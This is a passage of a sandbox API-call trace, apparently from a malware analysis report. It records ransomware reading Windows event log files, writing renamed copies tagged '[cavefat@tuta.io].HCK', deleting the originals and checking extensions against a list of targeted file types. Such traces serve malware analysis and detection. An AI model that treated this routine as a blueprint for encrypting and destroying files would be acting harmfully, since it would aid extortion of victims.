(lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx")) returned 0x20 [0156.584] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.584] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0156.584] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.584] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.585] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0156.585] GetLastError () returned 0x0 [0156.585] ReadFile (in: hFile=0x384, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x11000, lpOverlapped=0x0) returned 1 [0156.669] WriteFile (in: hFile=0x380, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x11010, lpOverlapped=0x0) returned 1 [0156.670] ReadFile (in: hFile=0x384, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0156.670] WriteFile (in: hFile=0x380, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x132, lpOverlapped=0x0) returned 1 [0156.670] SetEndOfFile (hFile=0x380) returned 1 [0156.670] CloseHandle (hObject=0x380) returned 1 [0156.672] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.672] SetEndOfFile (hFile=0x384) returned 1 [0156.673] CloseHandle (hObject=0x384) returned 1 [0156.673] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0156.673] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx")) returned 1 [0156.673] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0156.673] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0156.673] lstrlenW (lpString=".doc") returned 4 [0156.673] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0156.674] lstrlenW (lpString=".docx") returned 5 [0156.674] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0156.674] lstrlenW (lpString=".pdf") returned 4 [0156.674] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0156.674] lstrlenW (lpString=".xls") returned 4 [0156.674] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0156.674] lstrlenW (lpString=".xlsx") returned 5 [0156.674] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0156.674] lstrlenW (lpString=".ppt") returned 4 [0156.674] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0156.674] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0156.674] lstrlenW (lpString=".zip") returned 4 [0156.674] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0156.674] lstrlenW (lpString=".rar") returned 4 [0156.674] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0156.674] lstrlenW (lpString=".bz2") returned 4 [0156.674] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0156.674] lstrlenW (lpString=".7z") returned 3 [0156.674] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0156.674] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0156.674] lstrlenW (lpString=".dbf") returned 4 [0156.674] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0156.674] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0156.674] lstrlenW (lpString=".1cd") returned 4 [0156.674] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0156.674] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0156.674] lstrlenW (lpString=".jpg") returned 4 [0156.674] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0156.674] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0156.674] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0156.674] lstrlenW (lpString=".doc") returned 4 [0156.674] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0156.674] lstrlenW (lpString=".docx") returned 5 [0156.674] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0156.674] lstrlenW (lpString=".pdf") returned 4 [0156.674] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0156.674] lstrlenW (lpString=".xls") returned 4 [0156.674] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0156.674] lstrlenW (lpString=".xlsx") returned 5 [0156.674] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0156.674] lstrlenW (lpString=".ppt") returned 4 [0156.674] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0156.674] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0156.674] lstrlenW (lpString=".zip") returned 4 [0156.674] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0156.674] lstrlenW (lpString=".rar") returned 4 [0156.674] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0156.674] lstrlenW (lpString=".bz2") returned 4 [0156.674] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0156.674] lstrlenW (lpString=".7z") returned 3 [0156.674] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0156.674] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0156.674] lstrlenW (lpString=".dbf") returned 4 [0156.674] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0156.674] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0156.675] lstrlenW (lpString=".1cd") returned 4 [0156.675] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0156.675] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0156.675] lstrlenW (lpString=".jpg") returned 4 [0156.675] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0156.675] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0156.675] lstrlenW (lpString="Microsoft-Windows-SettingSync%4Operational.evtx") returned 47 [0156.675] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0156.675] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=69632) returned 1 [0156.675] CloseHandle (hObject=0x384) returned 1 [0156.675] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx")) returned 0x20 [0156.675] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.675] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0156.675] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.675] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.675] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0156.676] GetLastError () returned 0x0 [0156.676] ReadFile (in: hFile=0x384, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x11000, lpOverlapped=0x0) returned 1 [0156.678] WriteFile (in: hFile=0x380, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x11010, lpOverlapped=0x0) returned 1 [0156.679] ReadFile (in: hFile=0x384, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0156.679] WriteFile (in: hFile=0x380, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x132, lpOverlapped=0x0) returned 1 [0156.680] SetEndOfFile (hFile=0x380) returned 1 [0156.680] CloseHandle (hObject=0x380) returned 1 [0156.682] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.682] SetEndOfFile (hFile=0x384) returned 1 [0156.683] CloseHandle (hObject=0x384) returned 1 [0156.683] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0156.684] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx")) returned 1 [0156.684] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0156.684] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0156.684] lstrlenW (lpString=".doc") returned 4 [0156.684] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0156.684] lstrlenW (lpString=".docx") returned 5 [0156.684] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0156.684] lstrlenW (lpString=".pdf") returned 4 [0156.684] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0156.684] lstrlenW (lpString=".xls") returned 4 [0156.684] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0156.684] lstrlenW (lpString=".xlsx") returned 5 [0156.684] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0156.685] lstrlenW (lpString=".ppt") returned 4 [0156.685] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0156.685] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0156.685] lstrlenW (lpString=".zip") returned 4 [0156.685] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0156.685] lstrlenW (lpString=".rar") returned 4 [0156.685] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0156.685] lstrlenW (lpString=".bz2") returned 4 [0156.685] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0156.685] lstrlenW (lpString=".7z") returned 3 [0156.685] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0156.685] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0156.685] lstrlenW (lpString=".dbf") returned 4 [0156.685] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0156.685] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0156.685] lstrlenW (lpString=".1cd") returned 4 [0156.685] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0156.685] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0156.685] lstrlenW (lpString=".jpg") returned 4 [0156.685] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0156.685] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0156.685] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0156.685] lstrlenW (lpString=".doc") returned 4 [0156.685] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0156.685] lstrlenW (lpString=".docx") returned 5 [0156.685] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0156.685] lstrlenW (lpString=".pdf") returned 4 [0156.685] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0156.685] lstrlenW (lpString=".xls") returned 4 [0156.685] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0156.685] lstrlenW (lpString=".xlsx") returned 5 [0156.685] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0156.686] lstrlenW (lpString=".ppt") returned 4 [0156.686] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0156.686] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0156.686] lstrlenW (lpString=".zip") returned 4 [0156.686] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0156.686] lstrlenW (lpString=".rar") returned 4 [0156.686] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0156.686] lstrlenW (lpString=".bz2") returned 4 [0156.686] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0156.686] lstrlenW (lpString=".7z") returned 3 [0156.686] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0156.686] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0156.686] lstrlenW (lpString=".dbf") returned 4 [0156.686] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0156.686] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0156.686] lstrlenW (lpString=".1cd") returned 4 [0156.686] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0156.686] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0156.686] lstrlenW (lpString=".jpg") returned 4 [0156.686] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0156.686] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0156.686] lstrlenW (lpString="Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 47 [0156.686] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0156.686] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=69632) returned 1 [0156.686] CloseHandle (hObject=0x384) returned 1 [0156.687] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx")) returned 0x20 [0156.687] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.687] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0156.687] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.687] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.687] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0156.687] GetLastError () returned 0x0 [0156.687] ReadFile (in: hFile=0x384, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x11000, lpOverlapped=0x0) returned 1 [0156.692] WriteFile (in: hFile=0x380, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x11010, lpOverlapped=0x0) returned 1 [0156.693] ReadFile (in: hFile=0x384, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0156.693] WriteFile (in: hFile=0x380, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x132, lpOverlapped=0x0) returned 1 [0156.693] SetEndOfFile (hFile=0x380) returned 1 [0156.694] CloseHandle (hObject=0x380) returned 1 [0156.698] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.698] SetEndOfFile (hFile=0x384) returned 1 [0156.699] CloseHandle (hObject=0x384) returned 1 [0156.699] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0156.699] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx")) returned 1 [0156.699] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0156.699] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0156.699] lstrlenW (lpString=".doc") returned 4 [0156.699] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0156.699] lstrlenW (lpString=".docx") returned 5 [0156.699] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0156.699] lstrlenW (lpString=".pdf") returned 4 [0156.700] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0156.700] lstrlenW (lpString=".xls") returned 4 [0156.700] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0156.700] lstrlenW (lpString=".xlsx") returned 5 [0156.700] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0156.700] lstrlenW (lpString=".ppt") returned 4 [0156.700] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0156.700] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0156.700] lstrlenW (lpString=".zip") returned 4 [0156.700] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0156.700] lstrlenW (lpString=".rar") returned 4 [0156.700] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0156.700] lstrlenW (lpString=".bz2") returned 4 [0156.700] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0156.700] lstrlenW (lpString=".7z") returned 3 [0156.700] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0156.700] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0156.700] lstrlenW (lpString=".dbf") returned 4 [0156.700] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0156.700] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0156.700] lstrlenW (lpString=".1cd") returned 4 [0156.700] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0156.700] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0156.700] lstrlenW (lpString=".jpg") returned 4 [0156.700] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0156.700] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0156.700] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0156.700] lstrlenW (lpString=".doc") returned 4 [0156.700] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0156.700] lstrlenW (lpString=".docx") returned 5 [0156.700] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0156.700] lstrlenW (lpString=".pdf") returned 4 [0156.700] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0156.700] lstrlenW (lpString=".xls") returned 4 [0156.700] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0156.700] lstrlenW (lpString=".xlsx") returned 5 [0156.700] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0156.700] lstrlenW (lpString=".ppt") returned 4 [0156.700] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0156.700] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0156.700] lstrlenW (lpString=".zip") returned 4 [0156.700] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0156.700] lstrlenW (lpString=".rar") returned 4 [0156.700] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0156.700] lstrlenW (lpString=".bz2") returned 4 [0156.700] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0156.700] lstrlenW (lpString=".7z") returned 3 [0156.700] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0156.700] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0156.700] lstrlenW (lpString=".dbf") returned 4 [0156.700] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0156.701] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0156.701] lstrlenW (lpString=".1cd") returned 4 [0156.701] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0156.701] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0156.701] lstrlenW (lpString=".jpg") returned 4 [0156.701] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0156.701] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0156.701] lstrlenW (lpString="Microsoft-Windows-Shell-Core%4Operational.evtx") returned 46 [0156.701] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0156.701] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=69632) returned 1 [0156.701] CloseHandle (hObject=0x384) returned 1 [0156.701] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx")) returned 0x20 [0156.701] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.701] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0156.701] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.701] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.701] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0156.702] GetLastError () returned 0x0 [0156.702] ReadFile (in: hFile=0x384, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x11000, lpOverlapped=0x0) returned 1 [0157.122] WriteFile (in: hFile=0x380, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x11010, 